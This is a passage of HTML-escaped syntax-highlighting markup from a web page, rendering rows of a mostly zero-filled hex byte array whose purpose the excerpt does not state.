&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;68&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;47&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;54&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;31&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;00&lt;&#x2F;span&gt;&lt;span style=&quot;color: 